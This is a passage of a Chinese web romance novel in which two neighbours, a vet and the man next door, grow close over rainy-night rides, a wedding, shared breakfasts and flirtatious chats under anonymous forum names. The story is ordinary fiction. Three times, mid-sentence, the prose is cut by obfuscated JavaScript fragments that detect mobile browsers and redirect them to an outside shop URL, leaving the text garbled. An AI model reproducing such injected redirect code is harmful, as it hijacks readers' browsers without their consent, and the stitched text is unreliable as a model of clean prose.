但新的问题也出现了,陶诺不知道费远洲的身材尺寸。直接问费远洲不太行,问远行客又怕暴露自己身份。 计划暂时止步于此。 国庆前一天晚上,陶诺和同事去会展中心布置医院的展位,宠物博览会活动有七天,医院会提供三天义诊。 他们把需要用的物资带过去,拉横幅贴海报,还布置了一个趣味游戏区,前后忙碌了两个多小时。 好不容易一切弄好,出了展览厅大门,才发现外面不知什么时候下起了大雨。 一场秋雨一场寒,陶诺在门口被风吹得打了个哆嗦。 大家纷纷退回了展厅,等雨小一些再走,太无聊便逛起了其他家的展位。陶诺不喜欢社交,坐在角落的小凳上玩手机。 反正不赶时间,这会儿打车也拥挤。 陶诺拍了一张雨水从展厅玻璃墙上蜿蜒流下的照片,私信发给了远行客。 夜航船:【好大的雨】 远行客:【你还没回家?】 夜航船:【被雨困住了】 夜航船:【这么大的雨你在干嘛?】 不多会儿,远行客也回了张照片过来。 看角度,是透过玻璃门往露台拍的,同样的雨水打在玻璃上,水流如注。露台上是费远洲种的植物,很模糊的一片绿,被风吹得东倒西歪的。 远行客:【在观雨】 陶诺盯着对话框,删删改改了半天,终于发出去一句试探。 夜航船:【问你一个事情,你衣服一般穿什么码?】 远行客:【要送我?】 陶诺心虚,打字的指尖都在发凉:【不是,就是最近在看男装,你肩那么宽,我在想你是不是得穿最大码】 远行客反问他:【你穿什么码?】 陶诺如实说了。 远行客:【那我是得穿最大码】 陶诺紧张又兴奋,问到了,果然是最大码。 但还是没解决根本问题,型号只是大概,定制衣服还需要胸围腰围各种数据。 夜航船:【不知道这雨要下到什么时候】 远行客:【你是打算等雨停?】 夜航船:【雨太大,网约车都排到三位数的号码了】 远行客:【带伞了吗】 夜航船:【没有】 远行客:【那怎么办,会有人来接你吗?】 陶诺心里叹了口气:【没有】 远行客:【那就跟我聊天等雨停吧】 陶诺靠着玻璃墙,看见玻璃倒影里自己的嘴角弯了起来。 雨声啪啪砸出很大声响,会展中心的露天广场上一个人也没有。偶有远处车灯一闪而过,根本看不清楚裹在雨幕里的车身。 远行客:【我知道苏东坡有一首很有名的定风波】 夜航船:【莫听穿林打叶声】 远行客:【何妨吟啸且徐行】 夜航船:【我以为你会更喜欢李白】 远行客:【李白当然也喜欢】 夜航船:【没有最喜欢吗】 远行客:【你有最喜欢的?】 夜航船:【我有当下喜欢】 远行客:【是我知道的诗人吗?】 夜航船:【你】 夜航船:【我喜欢你】 对面沉静了十几秒。 远行客:【你之前说过了】 夜航船:【我怕你忘记】 远行客:【你总是这样……感情充沛吗】 陶诺想了下自己在费远洲面前的样子:【分情况】 远行客:【比如?】 夜航船:【跟你】 远行客:【那我可以叫你Baby吗】 陶诺看着这四个字母,感觉它们绕着自己脑子转了一圈又一圈。 有点晕。 这是试探?宣布?还是认可? 陶诺不敢细想,因为远行客接受了夜航船,也意味着费远洲没有接受陶诺。不知该高兴还是该失落。 这边陶诺还没回复,那边费远洲突然打了个电话进来。 “陶诺,你是在会展中心吗?” 陶诺把手机贴在耳边,有点割裂:“对。” 费远洲:“D区出口,你过来。” 陶诺没反应过来:“啊?” 费远洲:“我车在D区出口。” “好,马上来。” 陶诺挂了电话飞奔到出口处,心脏猛烈跳动间,果然见到一辆银灰色的SUV闪着车灯停在那里。 陶诺走过去,费远洲从驾驶室下来了。 他撑开一把黑色的长柄伞,三两步跨到陶诺跟前,把他拥着带进伞底下。这伞可真大,陶诺贴靠着费远洲,感觉雨声似乎被遮盖住了。 费远洲拉开副驾门:“先上车。” 上车,关门,雨声被彻底隔绝在车外。 车内仍是干净整洁,充斥着费远洲的浓烈的气息。 费远洲收了伞,上了驾驶室。 “你……”陶诺想问‘你怎么在这儿’,但见费远洲肩膀湿了一大片,裤脚也湿了一圈,话到嘴边变成了,“你淋湿了。” “嗯。”费远洲并没在意,稍微擦了擦身上的水渍,从杯架上拿出饮料递给陶诺,“顺路买的。” “谢谢。”陶诺接过捧在手里,是热的,他仔细一看,“奶茶?” “不知道你喝不喝这个。”费远洲又往杯架上一指,“还有一杯,你自己选。” 前挡风玻璃上起了薄雾,费远洲开了空调。陶诺抱着奶茶,温暖从指尖传递到全身。 陶诺本身就不怎么挑,随便给他哪一杯都行,费远洲却给了他多一种选择。 陶诺插上吸管,递到了费远洲嘴边:“你喝。” 费远洲低头吸了一口:“有点甜。” 陶诺把奶茶放下,又拿了另一杯插上,依旧递给费远洲:“试试这杯。” 这次费远洲稍有迟疑,不太明白陶诺的行为:“你不喝?” “你先尝,我再决定选哪杯。” 费远洲又吸了一口,嚼了嚼:“这杯有红枣桂圆,也很甜。” 陶诺缩回手,选了红枣桂圆这杯。 吸管先前被费远洲沾过,带了一点濡湿,在车内光线下微微反光。 陶诺什么也没说,用嘴咬住那一点,含吮了起来。 他品了品,除了红枣和桂圆,里面还加了红茶。 “好喝。” 费远洲启动了车子,转动方向盘。 窗外灯光掠过,斑驳的光影游走在费远洲的面颊。 陶诺偷偷看他,他侧脸沟壑起伏,像一幅完美的浮雕。那双有力宽厚的大手握着方向盘,稳稳地掌控着他们回家的方向。 陶诺终于想起来问了:“费先生,你怎么会在这里?” 费远洲浓黑的睫毛上还挂着没滴落的水珠:“路过。” 远行客不是说他在家观雨么?那这么说,费远洲跟自己聊了一路? 不对,费远洲不知道夜航船是我,那就是他一边陪夜航船聊天叫他Baby的时候,顺路接了我而已。 陶诺猛吸了两大口红枣桂圆茶,含在嘴里甜到发了苦,陶诺放回了杯架。 雨太大,雨刮摆动得快飞起来了。 雨路视线不好,费远洲专心开车,没顾上陶诺的小心思。 两人一路沉默到了小区车库。 车停稳到车位上,陶诺解开安全带开门跳了下去。 电梯到了12层,陶诺垂着头去开门,又想起了什么,转回去在费远洲面前闷闷地说了一句:“费先生,谢谢你送我回来。” 没等费远洲回话,扭头进了门。 一秒后又打开了门,乖乖跟上费远洲——月饼还在费远洲家里。 费远洲没多说什么,带他进了门,给了他一张干毛巾擦头发。陶诺没怎么被淋,只是上下车的时候沾了一点雨水,倒是费远洲自己略显狼狈。 月饼和凯撒迎接两人回家,月饼兴奋得左蹦右跳。 “你坐一下,我换身衣服。” 陶诺本想说带月饼回家,费远洲已经进了衣帽间。 陶诺坐在露台玻璃门前,眼前的景象跟远行客发给夜航船的照片一样。垂头叹了一口气,自作自受。 这雨也够气人的,先前下得那样猛烈,这会儿到家了,它倒是渐渐小了。 手被月饼舔了一下,陶诺揉它的头。 之前的一个星期,月饼都在费远洲家里,他把月饼照顾得很好。 “饼饼,他喜欢夜航船也没关系,对吧。” 月饼用鼻子拱了一下陶诺手掌。 “好吧,反正都是我。” 费远洲换套衣服的时间,陶诺已经想通了。 费远洲泡了壶茶,两人面对着露台,一边品茶一边看雨景。 “你烤的饼干不错。”费远洲道。 陶诺不会做别的菜,也就饼干拿得出手了。被当面称赞,陶诺心里的小烟花又炸了起来。 “费先生,你的中餐做的也不错。” “不如我们结合一下?”费远洲提议。 “结、结合?怎、么结合?”哪种结合?陶诺被费远洲的用词吓到。 “咱们可以一起吃早餐。”费远洲回忆才学到的新词,“搭子,早餐搭子。” “你烤饼干,还可以做吐司,做蛋糕,我们一起吃早餐。午餐和晚餐,你不值班的时候就来我家吃,当然,宵夜也可以。” 这个提议好,陶诺吃速冻速食早就吃腻了,他是不挑,但总吃一类东西会厌。 “好啊。”陶诺重重点头,赞同得不能再赞同。 - 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497958|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >林珊的婚礼是在国庆第三天。 这天一大早,陶诺的手机就跟中了病毒似的,一直弹信息。 【化妆师居然不是之前试妆的那个!】 【你知道吗,不知道谁给我准备的高跟鞋,说了穿运动鞋运动鞋,反正婚纱底下又看不见】 图附:一双10厘米高的尖头细跟新娘鞋 【陶诺诺,你看看这鞋,我要整场婚礼穿下来,保准残废】 【程令怎么回事,说了8点过来接的,还不见人】 【跟我说堵车!今天结婚呢,堵车?!他不知道提前吗】 【哈哈哈哈哈哈,门坏了。。。】 【哈哈哈哈哈,门开不了,只能撞开,我差点出不去,这婚差点结不成了】 图附:一扇被暴力破坏的防盗门 …… 陶诺前两天在展位帮忙,作为一个社恐人士,要接待那么多过来咨询的毛孩子家长,他整个人每天不仅电量耗尽,晚上到家的时候甚至直接为负。 早上被手机震得没法睡,陶诺扬手随便一扔,把脸重新埋进枕头,睡了个回笼觉。 直到林珊的电话索命一样打,陶诺才从持续地震的梦中醒来。 “陶诺诺,你到哪儿了?仪式马上开始了!” 陶诺从床上弹了起来,回了个“路上”,便冲进卫生间马上洗漱。 幸好衣服鞋子昨天都已经准备好了,一阵砰砰嘭嘭的忙乱,陶诺一边提鞋一边开门出去,单脚跳着去按电梯。 费远洲正好从电梯里出来,看见陶诺这幅样子,没忍住问:“怎么了?” “朋友婚礼,快来不及了。”陶诺对着反光的电梯箱壁理头发。 费远洲退回了电梯,摁了车库的楼层:“地址发我,送你。” 费远洲一路疾行,赶在林珊上台的前一刻到达了婚礼现场。 林珊一眼就看见进来的陶诺,使劲朝他挥手。 “你可算到了,贵客。”一瞥眼,费远洲那无法让人忽略的身影站在旁边,“费先生,你好。” 林珊落落大方跟费远洲握手,回头朝陶诺挤眼。 她招呼两人入座,费远洲也被热情得无法拒绝的新娘安顿下来了。 “我们有句箴言,叫‘来都来了’。”陶诺低声告诉费远洲,“来都来了,就参加一下婚宴吧;来都来了,吃个饭再走也不迟。” 费远洲无奈笑着摇头,表示理解又不理解。 林珊果然删减了很多流程,没让亲朋好友等太久,不多会儿就开席了。 新人敬酒的时候林珊看了看费远洲,又看陶诺,笑得比自己结婚还开心。 她附耳:“加油啊。”用力拍了陶诺的肩。 费远洲在旁边看着他们没说话,脸上挂着礼貌的笑。 吃完饭打过招呼后陶诺就跟费远洲离开了,陶诺要直接去会展中心,费远洲送他过去。 “你们很熟。”费远洲第一次见到陶诺跟其他人相处这么自然。 “嗯,十多年的朋友,也是我唯一的朋友。”陶诺望向窗外国庆气氛浓厚的街道布景,“以后介绍你们认识。” “好。”费远洲看了一眼陶诺,“我也是你的朋友。” “是,朋友。” 国庆期间陶诺一点没闲着,当天他又是忙到晚上,随便扒拉了两口外卖,便瘫在座椅上等下班。 这个点展厅已经没多少人了,和光医院的展位此刻只有陶诺一个人守着,小盼他们逛隔壁展会去了。 隔了一会儿,小盼和几个才认识的女孩子回来了,每人手里都提了几袋子,看来收获颇丰。 几个人叽叽喳喳在讨论,似乎是给男朋友买衣服,但因为不清楚尺寸又想给对方惊喜,所以就自己试穿对比身量。 陶诺猛地想起什么,对小盼说了声:“你看着,我离开一会儿。”就没影儿了。 晚上,负电量的陶诺终于拖着软塌塌的双腿到家。 他敲开费远洲的家门,把在服装展会选到的一件衬衫递给费远洲。 “没什么,服装展会就在隔壁,大家都在买,我觉得这件你很合适,就当感谢你送我去朋友婚礼。” 费远洲接过看了看型号,有点为难。 “试试看。”陶诺买的是最大码。 费远洲迟疑地拿着衣服进了衣帽间。 衬衫只是幌子,等会儿费远洲试穿出来,不管大了还是小了,他都能拿这个型号的版型给定制衣服的师傅做参考。 我真是聪明。 “陶诺,我觉得……衣服不太合适。”费远洲的声音从衣帽间传出来。 “哪里不合适?”总得看到才知道,“你出来我看一下。” “你确定要看?” “确定。” 费远洲穿着陶诺买的最大码的衬衫从衣帽间走了出来。 陶诺一把捂住自己鼻子,以防有什么东西流出来。 衬衫的确不合适,被胸肌撑爆了。 18. 铁证 陶诺买的衬衫没问题,型号往最大买也没问题,问题出在版型。 费远洲说的是欧版,陶诺买的亚版。 费远洲抬着肩膀,不敢大动作,看得出来他已经尽力穿上了。 胸口的扣子颤巍巍的挂住扣眼,勉强将两块布给合拢。衬衫的肩线往上跑出去一大截,胸肌撑得紧绷绷,最上面一颗扣子没系上,想来是实在没办法,扣上就得崩线。 腰腹处的布料也紧紧地贴合着身体,轮廓线条显露无遗。 费远洲低头看了一眼,伸手拉了拉衣摆,袖口敞着,小臂肌肉把袖子撑得满满当当。 陶诺:“好像是小、小了一点。” 岂止是小了一点,两点也不止。 陶诺的目光不由自主地往上移,盯着撑爆衬衫的胸肌,有点拽不动视线。 好、好大,比第一次看见的时候更直观。 费远洲有一半欧洲人血统,骨架大,肌肉饱满,又有健身的习惯,平时穿着衣服不明显,只觉得高大有型堪称衣服架子,眼前这副光景,真是看得人血脉偾张。 陶诺用力捂住鼻子,不敢拿开手。如果这时候流鼻血,那他就准备从阳台上直接跳下去得了。 不过……是真好看啊。 陶诺忍不住看了一眼又一眼。 腰腹劲瘦性感,胸肌鼓起来的弧度,简直能坐上去玩滑梯;还有那个肩,陶诺在脑子里想象了一下挂腿的样子,感觉鼻子快喷火,耳朵里都要冒出烟来了。 “陶诺。”费远洲不知道叫了他几声,走过去碰了下额头,“陶诺,你发烧了?” 陶诺慢腾腾地抽了只手,捂了下额头说:“唔,好像、有点。我、回去、冰敷一下,就好。” 转过身,鼻子好痒,血液上涌,心脏敲打得整个胸腔都在鼓胀。 忍住,可得忍住了。 肩膀被人按住,陶诺全身像被点了穴,酥麻到僵硬。 费远洲的声音在背后响起:“躺下。” “啊!啊?”陶诺此时满脑子黄色废料,费远洲的每一句话都在刺激他的想象力。 “躺沙发。”费远洲拉过他往沙发上带。 紧绷的衣服限制了动作,费远洲不耐地解开了衣服扣子。 陶诺盯着费远洲解着扣子的手指,紧张又恍惚:“沙、发吗,还是床、床上好、好一点吧……” “你想在床上?”费远洲略一迟疑,“也行,舒服一点。” 费远洲带他到卧室门口:“你先去,我马上来。” 费远洲的卧室整洁干净,床上是深灰色调的四件套。 陶诺同手同脚地走到床边坐下,直觉哪里不太对,但脑容量一时间又转不过来,满眼都是费远洲敞开衣服露出来的腹肌。 陶诺吞咽了一下,终于意识到问题出在哪儿了,太快了,怎么就突然发展到床上了?中间似乎省略了好多东西,这样……好吗? 好不好的,其实自己早就想过了吧。 陶诺低头看了一下自己身上的衣服,可是……还没洗澡啊。 不对!重点不在这里啊! 陶诺左右脑互搏,搅成了一坨浆糊。 正在这时,房间外传来了水声,陶诺脑子里轰的一声炸开,下意识揪紧了衣襟。 费远洲换了衣服,准备好了冰袋,再过来的时候就看见陶诺双腿并拢地坐在床边,背挺得笔直,精神似乎处于高度紧绷状态。 “怎么不躺下?”费远洲用手背再次轻碰他额头,皱了下眉,“陶诺,有感觉哪里难受吗?” 陶诺看向费远洲重新穿好的一身家居服,目光落向他手里的冰袋,尴尬至极,恨不得立刻隐身或者消失。 “有点、渴。”他干巴巴地道。 费远洲把冰袋递给他:“没弄太冰,觉得不够我再加冰块。” 陶诺双手接过,点头“嗯”了一声。 费远洲拿了瓶纯净水回来,陶诺还捧着冰袋。 费远洲替他拧开了盖,陶诺接过喝了。 “我、觉得,还是回、回去比较好。”陶诺起身告辞,看起来倒还正常,除了脸色绯红发烫,以及用力过猛地把塑料瓶捏得凹陷了进去。 费远洲没再强行留他,只是再叮嘱:“需要去医院的话给我打电话,我开车送你更方便。” “好。”陶诺没再敢看费远洲,视线一直锁在地板上。 陶诺从来没觉得对门的路竟然有这么长,费远洲送他出门,看着他打开1201,又道:“你出了好多汗,洗澡的时候水温调高一点。” “嗯,好。”陶诺关上大门,背靠着坐了下来。 丢人丢大了。 陶诺捶自己脑袋,这里面都装了些什么乱七八糟,人家好心要替自己降温,我却在想…… 啊啊啊!没出息啊啊啊啊!! 月饼拱他裤腿,陶诺正缺发泄,一把薅过狗头:“饼饼,明天,我要带你,去——绝——育——” 月饼惨遭无妄之灾,虽然听不懂,但感知陶诺说的不是什么好事情,从陶诺臂弯里挣脱出来,溜去了露台。 - 早上收到费远洲信息的时候,陶诺悄悄遛完月饼回来正缩在被子里睡回笼觉。故态复萌,他又有点不敢面对费远洲了。 Ansel:【一起早餐吗?】 之前说好了做早餐搭子,陶诺因为“自作自受”懊恼了一晚上,压根忘记了烤饼干和吐司,连牛奶鸡蛋也忘记了添补。 陶诺眯着眼睛看完信息,立刻从床上跳了起来。 陶诺:【等我半小时】 他火速下单,等外卖小哥到了楼下,偷溜下楼提了回来。翻出费远洲送的那套早餐用具,把牛奶、鸡蛋、吐司分盘装进去,又匆匆拿出冰箱里的苹果洗净切盘。 陶诺:【你过来吧】 费远洲在陶诺家的餐桌前坐下,面前是两套盛着同样早餐的一模一样的精美餐具,底下铺设着同样精美的餐垫,是他送的那套。 陶诺故作镇定地笑了笑:“可以吃了。” 费远洲来回看了两眼,端起牛奶喝了一口。 陶诺轻咳了一声,问:“费先生,你喝豆浆吗?下次我可以准备豆浆。” “都好,你方便做什么,我就吃什么。” “或者咖啡?可是我没有咖啡机。” “咖啡我来准备。你喜欢哪种?加糖加奶吗?” “嗯,多糖多奶,黑咖啡太苦了。” “好,我记住了。” “那鸡蛋你喜欢煎的还是这种煮的?”陶诺渐渐放松了些。 “可以换着来。” “吐司要再加热吗?” “不用。” “中式早餐你吃吗?” “你会做?” “不、太会……” …… 两人吃着早餐,你一句我一句。在杯盘叮咚磕碰声中,阳光从露台游移进了客厅,透过玻璃,在地板上折射出温暖的光晕。 月饼靠在边上翻了个身,冲阳光露出了肚皮。陶诺早忘了头一天冲月饼说了什么,就算记得也当没说过。 终于熬到早餐吃完,东西收进厨房,费远洲卷了袖子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497959|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要洗碗,陶诺不让,催费远洲回去。 费远洲用他说过的话回他:“做饭的人不洗碗。” “下次,下次你洗。”陶诺对于费远洲在自己家过于强烈的存在感不太自在,抢先拧开了水龙头。 “衬衫……” 这个词在陶诺这里目前是个敏感词,费远洲话还没说下去,陶诺手一抖,万向水龙头直接给拧歪了,直冲着费远洲洗了个脸。 “对不起,对不起。”陶诺手忙脚乱地关了水,要给费远洲擦脸,手伸出去又收了回来。 “等、等一下,毛巾,毛巾,马上。” 火急火燎进屋里找了张干净毛巾过来,费远洲已经用手抹去了水,胸口衣服湿了一大片。 “抱歉,我不是故意的。”陶诺不停道歉。 费远洲自然是说没关系,失手而已,接过毛巾擦干脸。 这下没人跟陶诺争洗碗了。 “陶诺……”费远洲临走在门口欲言又止,最终还是什么也没说。 一件事接着一件事,第一天当饭搭子又出状况,陶诺十分沮丧。 费远洲对自己的印象大概已经差到底了吧。 今天依然是去会展的宠博会,下班前,费远洲发信息问他回去吃晚饭不,陶诺迟疑了一会儿,回复了个【有事耽搁,不回】 但其实他按时下班,转头去了超市。 陶诺拿了牛奶,鸡蛋,买了喜欢吃的水果,之后推着购物车习惯性停留在了速食区。 还是得买些储存的,以免像这种情况回家没吃的。 陶诺随便抓了些方便面、粉一类,又买了速冻的水饺、包子、馒头。路过鲜饺制作区,灵光一闪买了肉馅和面皮。 陶诺提了两大包满载而归,还没到家,脑子里就在盘算怎么包饺子了,没发现在超市里,有个熟悉的高大人影早就注意到了他。 回个家蹑手蹑脚,怕惊动了凯撒和费远洲,事实上费远洲在后面看着他进了电梯。 陶诺在岛台铺开揉面垫,撒上面粉,旁边架着ipad,点开包饺子的教程跟着学。 东西都买的现成,他只学最后一步,把馅儿包进面皮,捏上。 陶诺从来没尝试过包饺子,第一次试只觉原来这么简单。他不知道没经验的人都这样想的,以为囫囵包上馅儿就行,却不知捏饺子才是技巧,否则下锅煮的时候都得开边。 陶诺多少沾了点完美主义在身上,总是要把饺子捏的好看了才满意,十来个饺子包了半个小时。不过他对成品相当满意,摆了个盘,放餐桌上美美拍了张照。 虽然半成品吧,但第一次的成果必须得跟人分享,陶诺发给了林珊。 林珊和程令去了海边蜜月旅行,正在人挤人的景区烦躁得想回酒店。 林珊:【陶诺诺,出息了!你居然会包饺子了!】 陶诺回了个得意的表情包,切换到墨阁论坛,发了个帖子。 ——完美! 附上刚刚的饺子照片。 费远洲在超市选牛肉准备煎牛排,没想遇到本该“有事耽搁,不回”的人。他跟了一会儿,见陶诺兴致勃勃的挑着那些小食品,没有上去打扰他的心情。 晚上浏览墨阁,看见了夜航船发的帖子,先了个赞,再点开了照片。 十个饺子在盘子里围成了一圈,个个饱满呈半月,只不过…… 费远洲放大了照片,盘子下的餐垫异常眼熟,正是今天早餐时候用的那一张,也是自己送给陶诺的那一套餐具里的搭配。 费远洲笑意深深,这人,真是一点都没藏住啊。 19. 吃醋 陶诺包的饺子不出意外地全部煮开了边,晚餐成了一锅面皮肉沫汤。 不要紧,他乐观地把筷子换成了勺,反正饺子吃进肚子,也是一锅糊糊。 陶诺把ipad架在旁边,点开一部盘包浆的动画番剧,随便选了一集放着,边吃边看。 第一次看这部动画片的时候陶诺刚上中学,一个人缩在床上,塞着耳机抱着平板,屏幕的光映在他脸上,照出两道泪痕。 现在已经记不得当时为什么哭了,故事温暖治愈,算不得煽情,但就是触动他内心。 故事的主角父母双亡,被亲戚推来推去,搬过很多次家,转了无数次学,孤僻地不主动靠近任何人。但他始终保持着温柔善良,从不抱怨自身的不幸,勇敢坚定地活着。 后来他被一对夫妇收养,又遇到了一只猫妖,并得到祖母留下的一本写满妖怪名字的契约书。 从此他在猫妖的陪伴下,开始经历契约书上一个个妖怪们的故事,并学会了与人和妖怪友好相处。 月饼拱过来守吃的,陶诺敲了敲碗:“面片汤你也要蹭一口吗?” “嗷呜呜——” 他给狗盆分了两勺,月饼“啪嗒啪嗒”舔了个干净。 陶诺遇不到猫妖,但是遇到了月饼。 晚上陶诺躺在床上,登录墨阁,发现远行客给他点了赞,他立刻切到后台私信。 夜航船:【你晚上吃的什么?】 远行客:【牛排】附带上照片。 红彤彤的肉质上裹着汁水,隔着屏幕仿佛都能闻到四溢的香气,陶诺咽了咽口水。 远行客:【你呢?饺子?】 夜航船:【对】 远行客:【我喜欢饺子】 陶诺不放过表现机会:【我会包】 虽然最后煮散了,但先前包起来是事实吧。 远行客:【包饺子很难,你好厉害】 陶诺得意了:【我厉害的地方还有很多,你可以慢慢了解】 远行客:【我相信,也期待】 陶诺压不住嘴角。 远行客:【今天忙吗】 夜航船:【嗯,还好】 远行客:【做什么工作?】 陶诺想了想,直接说风险太大。 夜航船:【在宠物店帮忙】 跟宠物打交道,也算沾边吧。 远行客:【那你一定很有爱心】 远行客:【我猜,你是会经常喂流浪猫?】 夜航船:【是的】 远行客:【那我再猜猜,你应该有自己养宠物】 夜航船:【没错】 远行客:【是狗狗吗?】 陶诺眼睛亮了亮:【哇,你全猜中了】 远行客:【要我再猜一下是什么品种吗?】 夜航船:【你猜】 对面这次停留了十几秒没回。 远行客:【给我个提示】 夜航船:【中型犬】 远行客:【哈士奇?】 陶诺惊叹:【对!】 远行客:【巧了,我也养狗,你要不要也猜猜是什么品种】 远行客:【也给你个提示,比哈士奇稍大一点】 陶诺乐开花,这有什么好猜的,他知道的呀,当即便回复:【德牧?】 远行客:【Bingo!真聪明!】 夜航船:【你看,我们绝配】 远行客:【心有灵犀】 夜航船:【一点通】 气氛急转旖旎。 远行客:【今天好像有点想你】 陶诺咬着下嘴唇笑,一边打字:【me too】 远行客:【今天能看腿吗】 一回生,二回熟,陶诺很快拍了照发过去。 远行客:【膝盖往上一点】 陶诺重新拍了。 远行客:【你膝盖有颗红痣】 夜航船:【小时候铅笔戳的,长好以后留了个红点】 远行客:【很疼吧】 夜航船:【忘了,应该不疼】 远行客:【心疼,吹吹】 陶诺似觉有一股暖风绕过了膝间。 夜航船:【我今晚应该会梦到你】 远行客:【那就早点睡,让我在你梦里多待一段时间】 夜航船:【晚安】 远行客:【Good night,Baby】 陶诺捧着手机傻笑,哪里睡得着。 第二天陶诺又提前悄悄遛狗了,回来的时候碰到了费远洲,招呼打得极其不自然,眼神躲闪。 早上一起吃早餐,陶诺心不在焉。 “陶诺。”费远洲把人给喊回神,“我是不是让你有压力了?” “什么压力?没有啊。”陶诺抓起鸡蛋在桌上乱磕。 费远洲放下杯子,伸手覆在陶诺手上。 陶诺瑟缩了一下,抬头懵懵地看了一眼,躲开了视线。 费远洲把鸡蛋从陶诺手里解救出来,小心轻巧地剥开蛋壳。 他缓缓开口:“陶诺,你是不是不太想跟我一起吃早餐?” 陶诺没料到费远洲会这样说,急忙否认:“没有!” “有。”费远洲道,“你在躲我。” 这是事实,陶诺张了张嘴,说不出话来。 “我提议一起吃早餐晚餐,给你压力了?”费远洲将剥好的鸡蛋递给他,“我忘了你不喜欢跟人待太久,我建议的时候你同意,以为没问题,是我考虑不周全。” 陶诺咬了口鸡蛋,咽下去。 没办法解释,说是因为自己线上直球,满脑子不正经念头,线下面对本人的时候不免晃神心虚。而费远洲只是对夜航船感兴趣,对自己……根本没想法。 陶诺将剩下的鸡蛋全塞进了嘴里,狠狠嚼了。 费远洲:“如果你不想跟我待一起太久……” “没有的,费先生。”陶诺腮边被鸡蛋撑得鼓起来,“我愿意、跟你做饭搭子。只是我习惯了一个人,很随意……没你那么规律,有时候会忘记、忘记准备……” 费远洲笑得温和:“有什么你可以直说的,没关系。忘记准备给我发个信息,我来准备就好。或者说你想睡个懒觉,那就不准备。” “费先生……” “我希望你跟我相处起来能感到舒适,朋友不应该让你有压力和负担。” “嗯。”陶诺点头。 “那以后不要偷偷点外卖了。” “啊?” 费远洲笑:“昨天门口的垃圾袋。” 陶诺尴尬脸红。 费远洲又道:“要点就光明正大的点。” 陶诺也笑:“好。” “今晚按时下班吗?” “应该能。” “晚上一起看电影?” “啊?”陶诺一句话一个表情,跟兔子似的一惊一乍。 费远洲饶有兴趣地品着他的小表情:“我买了投影仪,在家看。” 陶诺紧张到一半的心落了回去,又想多了,还以为费远洲要约他去电影院。不过在家看更好,自在还没人打扰。 “好啊。” “喜欢看什么类型?” “都好。”陶诺想了想又补充了一句,“不要太费脑的就行。” “今天洗碗不跟我抢了吧?” “不抢。” - 约好了晚上在家看电影,陶诺从下午开始就坐不住了。 “陶医生,你着急下班?”小盼问。 “没有。” “有约会?” “没有。” 小盼撇嘴:“你已经是第五次去上厕所了。” “水喝多了。” 陶诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17497960|202594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满脑子都在盘算看电影的事情。 得买点零食,薯片和爆米花,都是自己煲剧时候爱吃的,费远洲不像是喜欢吃零食的人,他会不会觉得太幼稚啊? 卤鸡爪和鸭脖?看电影的时候他会讨厌这股味道吗? 那就水果,这个一定没问题。 下班之后陶诺直奔超市,不止买了水果,薯片爆米花鸡爪鸭脖,一样没落下。 两人一起吃晚餐,费远洲做了番茄烧牛腩,陶诺把鸡爪鸭脖拿了出来。 “卤味,你吃吗?”陶诺热切地望着他。 费远洲夹了块鸭脖:“吃,但我不吃脚。” “啊?为什么?鸡爪超好吃的。”陶诺试图说服他一起共享,“还有柠檬鸡爪,很开胃。” 费远洲耸肩,表示很难解释:“个人……癖好?” 饭后陶诺先回了家,特意洗了个澡,头发吹了半干,换上新买的大眼仔睡衣,把自己弄得清清爽爽香喷喷。 水果洗好装盘,种类挺多。葡萄一颗颗剪下来,凤梨切块,猕猴桃切两半插上小勺子,蓝莓单独放了一小盒。 时间差不多了,陶诺带着月饼站到费远洲家门前,低头叮嘱狗子:“饼饼,你跟着凯撒乖乖的别闹,回来奖励你整块鸡肉干。” 月饼咧嘴“哼哧”,明白了似的甩着尾巴。 陶诺提气调整了下表情,抬手敲门,隔了好一会儿门才从里面打开。 费远洲穿着衬衫西裤,是一副工作的装扮,除了脚上的拖鞋。他戴着耳麦,无线话筒别在领口,表情不太对。 陶诺愣在门口。 “嗯……”费远洲面露无奈,“突然有个会议,太急,没来得及通知你……” 陶诺的笑容垮了下去,遂又努力提着嘴角:“呵,没关系,等你结束了我再过来。” “抱歉,陶诺。”费远洲看着他手里端的五花八门的果盘,顿了一下,“出了点问题,可能要一两个小时,或者更久。今晚的电影……可能看不了了。” “没事啊。”陶诺睁大眼睛笑着,“工作比较重要。”他把一盒蓝莓递过去,“这个给你,洗好了的,你开会累了可以吃。” “陶诺……” “没关系了,下次再约就好。” “真的很抱歉。” “没事。”陶诺把蓝莓塞到他手里,拽着要挤进门的月饼转身回了自己家。 门关上,嘴角落了下来。 谁没有个紧急工作呢,他自己也经常遇到。 陶诺把果盘放进冰箱,找出薯片和爆米花,打开了电视。 “饼饼,过来。” 一人一狗靠在一起,坐在沙发上。 